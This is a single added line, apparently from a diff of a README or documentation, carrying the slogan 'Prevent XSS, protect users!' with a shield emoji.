+*Prevent XSS, protect users! 🛡️*